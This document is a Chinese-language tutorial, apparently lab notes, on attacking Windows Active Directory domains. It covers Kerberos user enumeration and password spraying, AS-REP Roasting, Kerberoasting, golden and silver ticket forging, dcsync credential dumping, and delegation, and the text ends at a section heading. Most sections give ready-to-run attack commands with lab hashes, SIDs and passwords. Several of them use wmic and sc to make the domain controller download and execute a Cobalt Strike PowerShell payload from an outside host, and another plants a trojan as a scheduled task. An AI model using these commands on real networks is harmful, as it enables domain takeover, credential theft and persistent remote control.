8-域内渗透

横向移动的方式

  • WEB漏洞
  • 远程桌面
  • 账号密码
  • 不安全的配置
  • 系统漏洞

用户枚举与喷洒

枚举用户原理

Kerberos协议

image-20231221170541651

提供身份信息的数据包是AS-REQ(AS-requests)

发送TGT的数据包是AS-REP(AS-response)

数据包分析

使用kekeo工具申请TGT时,进行抓包分析

AS-REQ数据包中主要包含了一些用户的信息,由客户端发送给AS的数据包,其中由几个字段信息

  • PA-DATA pA-ENC-TIMESTAMP 使用用户的hash,或者AES key加密时间戳 生成value
  • kdc-options 协商字段
  • cname 请求的用户名
  • realm: 域名
  • sname 请求的服务名
    在这里插入图片描述

枚举原理

在AS-REQ阶段客户端向AS发送用户名,cname字段存放用户名,AS对用户名进行验证,用户存在与不存在返回的数据包信息不同。

分别有四种错误代码:

  • KRB5DC_ERR_PREAUTH_REQUIRED 需要额外的预认证(用户名存在,但没有提供密码)
  • KRB5KDC_ERR_PREAUTH_FAILED 用户名存在,但密码错误
  • KRB5DC_ERR_CLIENT_REVOKED 客户端凭证已被吊销(用户名被禁用)
  • KRB5DC_ERR_C_PRINCIPAL_UNKNOWN 在Kerberos数据库中找不到客户端(用户名不存在)

参考地址:4771 (F) Kerberos 预身份验证失败。 (Windows 10) - Windows security | Microsoft Learn

可以利用返回的KRB5DC_ERR_PREAUTH_REQUIRED或KRB5KDC_ERR_PREAUTH_FAILED 错误代码,进行枚举用户名。

如果提供正确的账户密码,在Kerberos数据包中就会出现msg-type:krb-as-rep字段。

数据包中的PA-DATA字段是由NTLM-HASH或AES KEY加密的,故原理上明文密码、NTLM-HASH、AES256都可以进行喷洒。

参考脚本代码

https://github.com/3gstudent/pyKerbrute/blob/master/EnumADUser.py

关键代码

注意事项

1、域环境中可以使用Kerberos和NTLM协议进行喷洒域内用户

2、工作组中可以使用NTLM协议进行hash碰撞

工具

kerbrute

kerbrute由Go语言开发,github已提供编译好的文件

地址:https://github.com/ropnop/kerbrute/releases

用法

用户名枚举

kerbrute.exe userenum --dc 域控IP -d 域名 用户字典

在这里插入图片描述

密码喷洒(单密码,多用户,有锁定策略)

kerbrute.exe passwordspray --dc 域控IP -d 域名 用户字典 密码

在这里插入图片描述

密码喷洒(多密码,单用户,无锁定策略)

kerbrute.exe bruteuser --dc 域控IP -d 域名 密码字典 用户名

在这里插入图片描述

pykerbute

python2编写,注意运行环境

用法

用户名枚举

EnumADUser.py IP地址 域名 用户名字典 tcp或udp

image-20231222140736702

密码喷洒-明文密码

ADPwdSpray.py IP地址 域名 用户名字典 clearpassword 明文密码 tcp或udp

在这里插入图片描述

密码喷洒-hash值

ADPwdSpray.py IP地址 域名 用户名字典 ntlmhash hash值 tcp或udp
ADPwdSpray.py 192.168.110.10 xbxaq.com user.txt ntlmhash DB40247DAB331AC57C207032F198F364 tcp

image-20231222142536362

NTLM哈希 - 工具匠 (toolkk.com)

工作组和域内喷洒区别

工作组中机器

  • 工作组机器-使用NTLM协议
  • 域内机器-使用Kerberos或者NTLM协议

域内机器

  • 域内机器-kerberos协议
  • 工作组机器-NTLM协议

实验

通过喷洒控制域内主机

工作组用户查找administrator或者普通管理员,域内用户查找administrator或者普通域内管理员。

工作组喷洒域内主机上线

已经控制一台工作组机器,需要上线域控

前提条件

  • 明确域控IP地址
  • 明确域名
  • 域内用户(需要枚举)

操作

前提条件:

  • 已控制一台工作组机器 192.168.110.7
  • 域控的IP地址为 192.168.110.5
  • 域名为xbxaq.com

域控的账户名一般为administrator

1、进行密码喷洒(单用户多密码),将工具上传到192.168.110.7机器中

shell kerbrute.exe  bruteuser --dc 192.168.110.5 -d xbxaq.com pw.txt administrator

在这里插入图片描述

得到域控账户的密码,知道了明文密码直接进行横向

2、使用wmic进行横向

shell wmic /node:192.168.110.5 /user:administrator /password:a1b2c3.. process call create "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('http://192.168.110.1:8000/payload.ps1'))\""

在这里插入图片描述

3、上线成功
在这里插入图片描述

域内主机喷洒域控上线

已经控制一台域内主机,需要上线域控

前提条件

  • 明确域控IP地址
  • 明确域名
  • 域内用户(不需要进行枚举)

操作

前提条件:

  • 已控制一台工作组机器 192.168.110.7(高权限用户)
  • 域控的IP地址为 192.168.110.5
  • 域名为xbxaq.com

1、使用net user /domain查询域内有哪些用户

image-20240103180733510

2、进行密码喷洒(单用户多密码),将工具上传到192.168.110.7机器中

shell kerbrute.exe  bruteuser --dc 192.168.110.5 -d xbxaq.com pw.txt administrator

image-20240103172625358

得到域控账户的密码,知道了明文密码直接进行横向

3、使用IPC$配合服务上线

IPC$

net use \\192.168.110.5\IPC$ "a1b2c3.." /user:"administrator"

在这里插入图片描述

使用CS生成的PS脚本

sc \\192.168.110.5 create test binpath= "cmd.exe /c powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('http://192.168.110.1:8000/payload.ps1'))\""


sc \\192.168.110.5 start test

image-20240103185246974

上线成功
在这里插入图片描述

工作组之间进行上线

工作组只能使用IPC、明文密码或者PTH认证

已经控制一台工作组机器,需要上线另外一台工作组机器

前提条件

  • 明确工作组机器的IP地址

操作

目前条件为已控制192.168.110.7机器,且机器用户为administrator,目标IP地址为192.168.110.8

1、既然在同一个域内,首先抓取192.168.110.7机器用户的账号密码,使用mimikatz工具

image-20240103192320361
在这里插入图片描述

获取到明文密码a1b2c3…,然后使用wmic进行CS上线

2、也可以使用IPC$配合计划任务进行上线

当两台机器的用户名和密码是相同时,可以直接使用dir

image-20240103193531240

copy木马到对方的机器中
在这里插入图片描述

创建计划任务并启动任务

schtasks /create /s 192.168.110.8 /tn cs /tr c:/muma.exe /sc onstart /RU System
/F	#创建计划任务


schtasks /run /s 192.168.110.8  /u administrator /p a1b2c3.. /i /tn "cs"	#启动任务

在这里插入图片描述

上线成功
在这里插入图片描述

Roasting攻击

原理

概述

AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式,是管理员的错误配置所导致的,管理员在域控上勾选了【不要求Kerberos】预身份验证。该攻击发生在AS-REP数据包,。

默认是没有勾选的
在这里插入图片描述

原理

AS-REP(AS-Response):当KDC收到AS-REQ之后解密PA-DATA pA-ENC-TIMESTAMP,如果成功就返回AS- REP

  • 第一个enc-part:TGT中由KRBTGT哈希值加密部分
  • 第二个enc-part:TGT中由用户哈希值加密部分

image-20231222162447189

image-20231222162215795

有无Kerberos预身份验证的区别

没有Kerberos预身份验证

kekeo工具

tgt::ask /user:用户名 /domain:域名 /password:密码

image-20231222155416872

AS-REQ
在这里插入图片描述

AS-REP
在这里插入图片描述

有Kerberos预身份验证

使用ASREPRoast.ps1脚本

Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast | select -ExpandProperty Hash

image-20231222161453469

注意:如果导入失败,则需要管理员权限执行该命令:set-ExecutionPolicy RemoteSigned

image-20231222161241965

AS-REQ
在这里插入图片描述

AS-REP
在这里插入图片描述

如果勾选了【不要求Kerberos预身份验证】,只要我们提供用户名,就会返回该用户的TGT

获取不要求预身份验证的用户

想要破解用户的密码,首先要知道哪些用户勾选了【不要求Kerberos预身份验证】

在域控机器上

可以直接执行以下命令

Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name

image-20231222170439990

在域内机器上(已加入域环境)

可以执行PowerView.ps1脚本

Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired –Verbose 

image-20231222170622611

Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose

在这里插入图片描述

在域内工作组的机器(没有加入域环境)

前提条件得知道一个域内账户及密码

adind.exe -h IP地址:389 -u 域名(没有.com)\用户名 -up 密码 -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn
AdFind.exe -h 192.168.110.10:389 -u xbxaq\zhangsan -up a1b2c3.. -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn

image-20231222171205337

获取AS-REQ的enc-part值

域内主机

如果想要知道用户的enc-part值可以使用相关工具,通过LDAP协议进行查询用户,然后再列出相关的enc-part值

Rubeus.exe

Rubesu.exe是由国外安全研究院harmj0y用C#编写的针对Kerberos协议进行攻击的工具,可以发起Kerberos请求,并将请求票据导入内存中。

Rebeus提供了大量的用于Kerberos攻击的功能,比如 TGT请求/ST请求/AS-REP Roasting攻击/Kerberoasting攻击/委派攻击/黄金票据/白银票据等。

Rubeus.exe asreproast /format:john /outfile:1.txt

image-20231222171856223

注意:Rubesu工具需要 .NET Framework 3.5支持,否则会运行不了。

这里环境为Windows server 2016,离线安装

image-20231223115856877

安装成功之后再次执行(如果不行,重新计算机)

Rubeus.exe asreproast /format:john /outfile:1.txt

image-20231223125448433

ASREPRoast.ps1脚本

Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast | select -ExpandProperty Hash

image-20231222174255516

非域内主机

非域内主机想要enc-part值两种方法:

  • 用户字典一 一 枚举
  • GetNPUsers.exe

通过前面的操作,我们知道了哪些用户勾选了【不要求预身份验证】,可以使用GetNPUsers.exe工具,列出具体用户的enc-part值。

GetNPUsers.exe -dc-ip 192.168.110.10 xbxaq/zhong -no-pass

image-20231222181724439

提示:可以在目录后面加一个 > hash.txt 便于提取值

GetNPUsers.exe -dc-ip 192.168.110.10 xbxaq/zhong -no-pass > hash.txt 

image-20231222181753221

zhong用户的enc-part值为

$krb5asrep$23$zhong@XBXAQ:71bd6c09df1d882dbe339a52ba55c5dc$23a142f0912af9e4eae75499120ec7e9027f9f87d294dcd64098f9ad397a100ecee3d1629a4ce1a4d575ecd3d137606057b294834c7a6a6b31f921cf507283171f0c46b053d5a358bf86a9ff9b45d1438e7c442ea17938e1055f56d5d637678cc55db24b07cc87c042d7c32749066693d2f4bc5751e6e4f18e64e4635b318c32c046cd1440a5493b5045008cc303110eccb5d7a07a121eaa1ba7dfe6a7bd44310a7973b5db08307aa924b813922a76a0a2c3f3a2b08b6362a88ddf4ed6c7dc5af4896252cba3c1fee7feef4a9b0607fecf728536aa1d0f14068ed60093564952dfa7

破解part值

john

john.exe --wordlist=密码字典 hash.txt

hash.txt中的值为GetNPUsers工具所破解出来的

image-20231222181334503

提示:建议不要将字典文档和hash值文档放在run目录下

hashcat

命令手册: https://hashcat.net/wiki/doku.php?id=example_hashes

注意:个别工具抓取的part值与18200的命令格式有所不同,需要手动修改

官方格式

image-20231222182305411

GetNPUsers工具抓取的part值格式

image-20231222181724439

ASREPRoast.ps1脚本抓取的part值格式

 hashcat -m 18200 hash.txt 密码字典 --force

提示:-m 后面的数字表示支持破解的格式,尽量在真实机中运行。

如果遇到下面这个问题,可以参考此文章windows11安装hashcat遇到的问题

image-20231223130120385

CUDA 是 NVIDIA 发明的一种并行计算平台和编程模型

Kerberoasting

Kerberoasting 是域渗透中经常使用的一项技术,Kerberoast攻击是在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的ST(service ticket),如果获得这个ST票据,我们可以尝试穷举口令,模拟加密过程,进行破解。

原理

TGS-REP

TGS-REP是由TGS发送给客户端的,其中包含

  • ticket:ST票据
  • 第一个enc-part值:ticket中的part是使用服务密钥的加密内容(server hash加密)
  • 第二个enc-part值:外层的part值是使用CT_SK加密的(CT_SK加密)

image-20231223092102733

ST票据的加密使用的是aes256,可以通过将算法变为RC4_HMAC_MD5就比较容易破解。

用户解密后重新封装的TGT

image-20231223092605296

TGS封装ST发送给客户端
在这里插入图片描述

TGS收到用户TGT后做出的动作

  1. TGS接收到请求之后,首先检查自身是否存在客户端请求的服务(查询SPN)
  2. 如果服务存在,则通过krbtgt用户的NTLM HASH解密TGT,并得到CT_SK(Login Session Key)
  3. 解密成功后,使用CT_SK解密CT_SK加密的内容,然后检查里面的数据内容

解密TGT成功之后的动作

  1. 使用CT_SK加密CS_SK(Service Session Key)最外层的enc-part值
  2. ST包含了客户端用户信息和原始的CS_SK
  3. 最终Service Session Key和ST服务票据发送给客户端

也就是说不管用户有没有访问服务的权限,只要TGT正确,都会返回ST服务票据。这也是kerberoasting能利用的原因,任何一个用户,只要hash正确,就可以请求域内任何一个服务的ST票据。

攻击原理

  • ST票据的加密方式为aes256,但可以使用MD5加密
  • 在TGS认证TGT的时候,不管用户是否有访问服务的权限,都会返回目标服务的ST票据

SPN

概述

服务主体名称(Server Principal Name)SPN,是服务实例的唯一标识符。

Kerberos身份验证使用SPN将服务实例与服务账户进行关联,在域中如果有多个服务,那么每个服务都必须有自己的SPN和用户。

一个用户可以有多个SPN,但是一个SPN只能对应一个服务,SPN必须注册在用户下。

image-20231223094004624

简述

  • SPN:服务主体名称,将服务用户和服务进行关联
  • 服务用户:用于登录运行服务的用户
  • 服务:运行在计算机上的服务

命令格式

<serviceclass>/<host>:<port>/<service name>

两个必须元素:serviceclass为服务类,host为服务所在的主机名字

例如:Mysql/SQL.xbxaq.com

image-20231223094714397

SPN注册在机器用户下

计算机加入域后,机器用户(主机名$)会同步到域控。

服务权限为local system或者Network service的服务都会自动注册在机器用户下

SPN注册在域用户下

SPN可以注册在域内用户中,默认只有机器用户或者域管理员才有权限去注册SPN(将服务注册在域用户的权限)。

域内的普通用户如果要进行注册,需要修改权限。

SPN服务查询命令

setspn -Q */*

image-20231223094753873

提示:第二个CN为Computers的用户即为机器用户,为Users的用户为域用户

SPN注册注意事项

在使用kerberos访问对方电脑的服务之前,KDC上必须有服务对应的SPN,并且注册到了用户上。

注册SPN有两种方式:

  • 系统自动完成注册,例如安装的SQL等服务
  • 手动注册,根据SPN的格式进行手动注册

注册SPN的用户有两种:

  • 注册在机器用户下(机器名$)
  • 注册在域用户下

提示:在注册SPN的时候只有机器用户或者域管理员用户才有权限,普通的域用户默认是没有权限的,除非修改相关的设置。

手动注册SPN

 setspn -U -S HTTP/zhangsan.xbxaq.com:443 zhangsan
 
 手动注册一个HTTP服务到zhangsan机器上,注册的域内用户是zhangsan

image-20231223100721977

image-20231223100525770

image-20231223100845764

 setspn -C -S MAIL/zhangsan.xbxaq.com:25 ZHANGSAN
 
 手动注册一个邮箱服务到zhangsan机器上,注册的机器用户是ZHANGSAN

image-20231223102100457

image-20231223102125234

如果SPN注册在机器用户下

大致流程为

  • A计算机提供TGT和需要访问的服务
  • TGS检查服务名与对应的SPN
  • TGS发现SPN中存在对应的服务名,例如为MYSQL
  • SPN中MYSQL服务名对应的用户为SQL$ 机器用户
  • 生成ST票据返回给A计算机(则ST票据使用的是SQL$-HASH进行加密)

那么在这个过程中我们是无法使用kerberoasting,因为机器用户的密码是非常难以破解的

如果SPN注册在域内用户下

大致流程为

  • A计算机提供TGT和需要访问的服务
  • TGS检查服务名与对应的SPN
  • TGS发现SPN中存在对应的服务名,例如MYSQL
  • SPN中MYSQL服务名对应的用户是ZHANGSAN
  • 生成ST票据返回给A计算机(则ST票据使用的是ZHANGSAN-hash值进行加密)

SPN探测

在控制一台内网主机后,可以探测域内注册的SPN。原理是使用LDAP协议进行查询

SPN探测分为域内主机探测和非域内主机探测。

域内探测

如果控制的计算机已经加入域,并且使用域用户进行了登录,即使没有提权到system用户,也可以进行查询。

setspn命令

查询所有的SPN

setspn -Q */*

image-20231223103337241

查询指定域内的SPN

setspn -T 域名 -Q */*

image-20231223103512687

PowerView脚本

注意:该脚本只能查询域用户注册的SPN,无法查询机器用户注册的SPN。

Import-Module .\Powerview.ps1
Get-NetUser -SPN

image-20231223103740043

GetUserSPNs脚本

image-20231223111526128

adfind工具

AdFind.exe -b "dc=xbxaq,dc=com" -f "&(servicePrincipalName=*)" servicePrincipalName

在这里插入图片描述

非域内探测

对于非域内的主机,可以通过adfind工具,但是必须提供一个域内的账号密码,否则没有办法通过 kerberos协议,除非发现kerberos协议的漏洞。

adfind工具

AdFind.exe -h 192.168.110.10:389 -u xbxaq\ZHANGSAN -up a1b2c3.. -f "&(servicePrincipalName=*)" servicePrincipalName

在这里插入图片描述

查找高权限用户的SPN

AdFind.exe -h 192.168.110.10:389 -u xbxaq\ZHANGSAN -up a1b2c3.. -f "&(servicePrincipalName=*)(admincount=1)"  servicePrincipalName

在这里插入图片描述

获取高权限SPN服务票据

概述

获取SPN的目标就是用于破解SPN对应的账户密码,但是SPN可以注册在机器用户与域用户中。

  • 机器用户的密码获取非常困难,因为机器用户的密码是随机的

  • SPN可以注册在任何域用户下,故需要查询高权限的域用户SPN

过滤出SPN之后,就需要针对该类用户进行ST的申请

  • 正常申请ST后进行破解属于kerberoasting
  • 伪造ST属于白银票据

申请ST票据–GetUserSPNs工具

域内和非域内计算机都可以使用,这里在非域内计算机上进行执行

获取所有已注册SPN的域内用户ST票据

GetUserSPNs.exe -request -dc-ip 192.168.110.10 xbxaq.com/zhangsan:a1b2c3.. -outputfile st.txt

在这里插入图片描述

获取指定的已注册SPN用户的ST票据

GetUserSPNs.exe -request -dc-ip 192.168.110.10 xbxaq.com/zhangsan:a1b2c3.. -outputfile st.txt -request-user zhangsan

在这里插入图片描述

使用该工具获取的ST票据为MD5加密

image-20231223113305619

申请ST票据–Rubeus工具

该工具只能用于域内机器

目标是一个hash值

Rubeus.exe kerberoast /format:john /outfile:hash.txt

在这里插入图片描述

申请ST票据–mimikatz工具

条件:当前域用户已经注册过SPN,且权限较高

首先查看当前域用户是否中注册过SPN

setspn -Q */*

在这里插入图片描述

使用mimikatz工具直接申请ST票据,从内存中导出

kerberos::ask /target:HTTP/zhangsan   #申请票据

在这里插入图片描述

kerberos::list /export  #导出所有票据

image-20231223114917512

破解ST票据hash值

因为获取ST票据的工具不同,所以格式也有所不同,有kirbi格式也有hash值格式。

破解kirbi格式-tgsrepcrack.py脚本

注意:tgsrepcrack.py脚本为python2环境

python2 tgsrepcrack.py 密码字典 票据

image-20231223120740378

需要安装kerberos库

破解hash值–hashcat

Hashcat –m 13100 hash pass --force

在这里插入图片描述

由于环境问题,本机没有安装CUDA,故没有成功(CUDA 是 NVIDIA 发明的一种并行计算平台和编程模型)

CUDA的安装可参考这篇文章windows11安装hashcat遇到的问题

黄金票据

原理

黄金票据一般都是伪造TGT,生成TGT后不需要再和AS进行校验,直接与TGS进行校验。

黄金票据可以在本地直接生成,生成的票据在域内机器或者非域内机器都可以使用。

黄金票据的作用

  • 权限维持
  • 横向移动

利用条件

  • 必须知道Krbtgt机器账户的HASH值
  • 域内域名
  • 域的SID值
  • 需要伪造的用户(大部分情况下都是administrator)

获取域的SID值命令

whoami /all

image-20231223152338236

获取Krbtgt的hash值

两种方式:

  • 控制域控后直接查询
  • 通过dcsync查询

hash值存储位置

由于Krbtgt是域用户,不是域控上的本地用户,故不会存储在域控SAM文件中,而是在NTDS文件中。

控制域控后使用mimikatz直接查询

lsadump::dcsync /domain:xbxaq.com /user:krbtgt

image-20231223151651284

控制非域控后使用dcsync的技术获取

首先查看当前域用户权限,是否可以使用dcsync的技术

  • administrators组
  • domain admins组
  • enterprise admins组
  • 域控制器的计算机账户

以上组内的用户都可以使用dcsync的技术,域控的Administrator 和 system 也可以

mimikatz命令

lsadump::dcsync /domain:xbxaq.com /user:krbtgt

在这里插入图片描述

制作票据

黄金票据本质上是伪造TGT,既然是伪造所以在任何计算机上都可以进行伪造,生成的TGT票据就可以直接打入内存(PTT),从而实现对整个域的控制。

ticketer.exe工具

ticketer.exe -domain-sid sid值 -nthash krbtgt-hash -domain 域名

查看当前计算机所有用户的SID值

whoami /all

image-20231223153124631

krbtgt账户的hash值

image-20231223153817539

通过ticketer制作黄金票据

ticketer.exe -domain-sid S-1-5-21-1445356431-3472965171-1941165345 -nthash 607283a6b62ecae1081cb82829d6c464 -domain xbxaq.com administrator

在这里插入图片描述

mimikatz工具

通过mimikatz工具直接生成黄金票据,然后注入到内存中

kerberos::golden /user:用户名 /domain:域名 /sid:sid值 /krbtgt:NTLM-HASH值 </ptt>

注意:如果携带/ptt则会自动注入到内存中,不携带则在本地生成票据。

kerberos::golden /user:administrator /domain:xbxaq.com /sid:S-1-5-21-1445356431-3472965171-1941165345 /krbtgt:607283a6b62ecae1081cb82829d6c464

在这里插入图片描述

实验

域内机器上线域控

1、已控制域内192.168.110.7机器

2、查询当前用户名及所在组

image-20240104085850312

3、查询当前的SID

S-1-5-21-2744095687-1279945619-2928600117

在这里插入图片描述

4、获取krbtgt用户的hash值

mimikatz lsadump::dcsync /domain:xbxaq.com /user:krbtgt

image-20240104090129882

6d342f0e6752f07076928c15ea90d5f1

5、通过mimikatz制作黄金票据,并且直接注入到内存中

mimikatz kerberos::golden /user:administrator /domain:xbxaq.com /sid:S-1-5-21-2744095687-1279945619-2928600117 /krbtgt:6d342f0e6752f07076928c15ea90d5f1 /ptt

image-20240104090640172

在这里插入图片描述

6、横向上线

使用cs中自带的psexec工具

jump psexec 192.168.110.5 test     #test为监听器

在这里插入图片描述

工作组机器上线域控

已经控制一台工作组机器,得知内网的域名为xbxaq.com

image-20240104092046517

猜测192.168.110.5为域控机器

1、首先将DNS指向域控(改网卡或者hosts文件)

echo 192.168.110.5 xbxaq.com >> C:\Windows\System32\drivers\etc\hosts
或者
netsh interface ipv4 add dns 网口名字 DNS

在这里插入图片描述

2、获取krbtgt的hash值

mimikatz lsadump::dcsync /domain:xbxaq.com /user:krbtgt

image-20240104093758833

6d342f0e6752f07076928c15ea90d5f1

3、获取SID
在这里插入图片描述

S-1-5-21-2466639231-2518717437-756379722

4、生成黄金票据且直接注入内存中

mimikatz kerberos::golden /user:administrator /domain:xbxaq.com /sid:S-1-5-21-2466639231-2518717437-756379722 /krbtgt:6d342f0e6752f07076928c15ea90d5f1 /ptt

在这里插入图片描述

在这里插入图片描述

5、psexec上线

image-20240104094108281

白银票据

原理

白银票据就是伪造ST票据,Kerberoasting是破解ST票据中服务用户的hash值

两种之间的区别是:

  • 白银票据:伪造ST票据使用的是机器用户的hash值
  • Kerberoasting:破解ST票据中的服务用户的hash值

在这里插入图片描述

利用条件

  1. 域名
  2. 域SID值
  3. 目标服务器名
  4. 可利用的服务
  5. 目标机器用户的NTLM-HASH值
  6. 需要伪造的用户名

获取机器用户的hash值

mimikatz工具

如果有域内管理员账户可以使用dcsync获取

lsadump::dcsync /domain:xbxaq.com /all /csv

在这里插入图片描述

secretsdump.exe

通过枚举获取hash值,前提条件拿到了域管理员账号密码

secretsdump.exe 域名/administrator:密码@IP地址

image-20231223160542719

常用伪造服务

CIFS

在windows主机之间进行网络文件共享是通过使用微软公司自己的CIFS服务实现的。

伪造 LDAP 服务权限

可以实现ldap查询,或者执行dcsync

host服务

可以实现计划任务等

制作票据

通过mimikatz制作票据

kerberos::golden /domain:域名 /sid:SID值 /target:目标机器 /service:服务名 /rc4:目标机器上的机器账户NTLM-HASH值 /user:伪造的账户名 </ptt>

注意:如果携带/ptt则会自动注入到内存中,不携带则在本地生成票据。

kerberos::golden /domain:xbxaq.com /sid:S-1-5-21-1445356431-3472965171-1941165345 /target:dc.xbxaq.com  /service:CIFS /rc4:5881af9f2f219ae270438137a7f59aaf /user:administrator

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如果命令后面跟上/ptt

kerberos::golden /domain:xbxaq.com /sid:S-1-5-21-1445356431-3472965171-1941165345 /target:dc.xbxaq.com  /service:CIFS /rc4:5881af9f2f219ae270438137a7f59aaf /user:administrator /ptt

在这里插入图片描述

实验

域内机器上线域控

DC$:b11bfe9b4b21b5878366ec1973ca237f

1、查看当前用户所在组

net user lm  /domain

image-20240104094709997

2、查看sid值

S-1-5-21-2744095687-1279945619-2928600117
在这里插入图片描述

3、伪造LDAP 服务的白银票据

mimikatz kerberos::golden /domain:xbxaq.com /sid:S-1-5-21-2744095687-1279945619-2928600117 /target:dc.xbxaq.com /service:LDAP /rc4:b11bfe9b4b21b5878366ec1973ca237f /user:administrator /ptt

在这里插入图片描述

4、使用dcsync技术查询hash值

mimikatz lsadump::dcsync /domain:xbxaq.com /all /csv

在这里插入图片描述

5、伪造黄金票据

在这里插入图片描述

在这里插入图片描述

6、wmic上线CS

shell wmic /node:dc.xbxaq.com  process call create "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('http://192.168.110.1:8000/payload.ps1'))\""

工作组机器上线域控

1、查询是否加入域

image-20240104101554157

2、修改DNS或者hostst文件使得域内域名指向域控

netsh interface ipv4 add dns 本地连接 192.168.110.5

在这里插入图片描述

3、获取白银票据中所需要的条件,伪造HOST服务,配合Windows服务横向

kerberos::golden /domain:域名 /sid:SID值 /target:目标机器 /service:服务名 /rc4:目标机器上的机器账户NTLM-HASH值 /user:伪造的账户名 </ptt>
mimikatz kerberos::golden /domain:xbxaq.com /sid:S-1-5-21-2744095687-1279945619-2928600117 /target:dc.xbxaq.com /service:CIFS /rc4:b11bfe9b4b21b5878366ec1973ca237f /user:administrator /ptt

image-20240104110945817

image-20240104111048807

4、再伪造一张ladp服务

mimikatz kerberos::golden /domain:xbxaq.com /sid:S-1-5-21-2744095687-1279945619-2928600117 /target:dc.xbxaq.com /service:LDAP /rc4:b11bfe9b4b21b5878366ec1973ca237f /user:administrator /ptt

在这里插入图片描述

5、使用dcsync技术

mimikatz lsadump::dcsync /domain:xbxaq.com /all /csv

image-20240104111241190

6、PTH认证 CS上线
在这里插入图片描述

在这里插入图片描述

委派

从Windows 2000开始,微软添加了委派功能,委派共分为三种

  • 非约束性委派(Windows Server 2000)
  • 约束性委派(Windows Server 2003)
  • 基于资源的约束委派(Windows Server 2012)

非约束性委派

委派是一种应用模式,指的是将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。

非约束性委派指的是服务账号可以请求得到域内用户的TGT,服务账号使用该TGT模拟域内用户访问任意服务。

被配置为非约束性的系统将把TGT存储到LSASS内存中,以便于用户能够访问终端资源。

存在的问题

  1. 如果配置了非约束性委派的机器被控制,就会很危险
  2. 如果没有对非约束性委派的机器做限制,则该机器就可以代表用户访问域内任意机器
  3. 如果域管理员访问了非约束性委派的机器,那么整个域内机器都可能被控制

如何让域管理员访问配置了非约束性委派的机器呢?

  • 域管理员主动访问被配置了非约束性委派的机器(钓鱼等手法)
  • 域管理员被动访问被配置了非约束性委派的机器(结合漏洞等手法)

约束性委派

Windows Server 2003 之后微软引入了非约束性委派,由于非约束性委派的不安全性或者场景或限制(配置了非约束性委派的机器在LSASS中缓存了用户的TGT票据可以模拟用户去访问域中任意服务),微软于2007年为Kerberos协议进行了扩展引入了S4U(Service For User)协议,该协议分为两个子协议:

  • S4U2Self(Service For User To Self)
  • S4U2ProxyService For User To Proxy)

两个子协议都允许服务代表用户从KDC中请求票据,约束委派限制了S4U2Proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。

约束性委派是对委派的机器做了约束,被委派的机器只能访问设定好的机器服务。

基于资源的约束性委派

Windows Server 2012之后微软新引入了基于资源的约束性委派,基于资源的约束性委派不需要通过域管理员修改,而是将设置属性的权限给到了服务资源本身,可以将基于资源的约束性委派理解为传统约束性委派的反向过程。

约束性委派:委派机器的WEB系统是在域控上对WEB服务器进行了设置。

基于资源的约束性委派:委派机器的WEB系统是通过文件系统自己设置的。
在这里插入图片描述

S4U2Self与S4U2Proxy

2007年为Kerbero协议进行了扩展引入S4U(service for user)协议,该协议有两个子协议:

  • S4U2Self(Service For User To Self)
  • S4U2Proxy(Service For User To Proxy)

两个扩展协议都允许服务代表用户从KDC中请求票据,约束性委派限制了S4U2Proxy协议的请求范围,使得配置了约束性委派属性的服务只能模拟用户身份访问特定的服务。

约束性委派与基于资源的约束性委派都会用到这两个协议。

流程步骤

用户A访问WEB系统B,B代表A向KDC申请访问B的TGT和ST-B(使用S4U2Self协议),用户A拿到了ST-B就可以访问WEB系统B了。

如果在WEB系统B上配置了约束性委派(A到C的约束性委派),则WEB系统B能够使用S4U2Proxy协议将用户A发给自己的ST-B票据,转发以用户A的身份发给KDC,KDC返回WEB系统B访问文件系统C的票据ST-C,这样WEB系统B就可以访问文件系统C。

  1. 用户A通过NTLM或者其他认证能够访问WEB系统B
  2. WEB系统B代表用户A申请访问web系统B的票据(TGT和ST-B)
  3. KDC返回用户A的TGT和ST-B票据给WEB系统B
  4. B把ST-B的票据给到用户A
  5. 用户A拿着ST-B的票据访问WEB系统B
  6. WEB系统B拿着用户A的ST-B票据作为证据,去向KDC申请访问文件系统C的ST-C票据
  7. WEB系统使用ST-C的票据访问文件系统

存在的问题

  • 服务账号B可以代表用户A向KDC申请访问B的票据,那么服务账号B能否代表域内管理员向KDC申请访问B的票据呢?
    在这个过程中,不需要域内管理员的参与,在服务账号B自身就可以完成

  • 服务账号B可以代表用户A向KDC申请访问C的票据,那么服务账号B能否代表域内管理员向KDC申请访问C的票据呢?

    在这个过程中,不需要域内管理员的参与,在服务账号B自身就可以完成

非约束性委派攻击

在这里插入图片描述

委派设置

非约束性委派设置在域控上面,设置对象分为两种

机器账户

点击应用-确定即可

注册了SPN的用户

在这里插入图片描述

配置了非约束性委派的机器,一旦访问该机器,TGT就会被缓存在LSASS进程的内存中,通过klist是不能查看的,必须查看内存。

需注意以下问题:

  • 域控是默认配置了非约束性委派的
  • 配置的非约束性委派最好是机器用户

查询已配置账户

配置与没有配置用户属性对比

AdFind.exe进行查询

如果是在工作组中机器进行查询,需要提供域用户及密码

查询机器用户配置了非约束性委派

AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

在这里插入图片描述

查询域用户(配置了SPN的用户)配置了非约束性委派

AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

在这里插入图片描述

Powerview.ps1

Import-Module .\Powerview.ps1
Get-NetComputer -unconstrained | select dnshostname, samaccountname

image-20231224131412169

钓鱼方式进行委派攻击

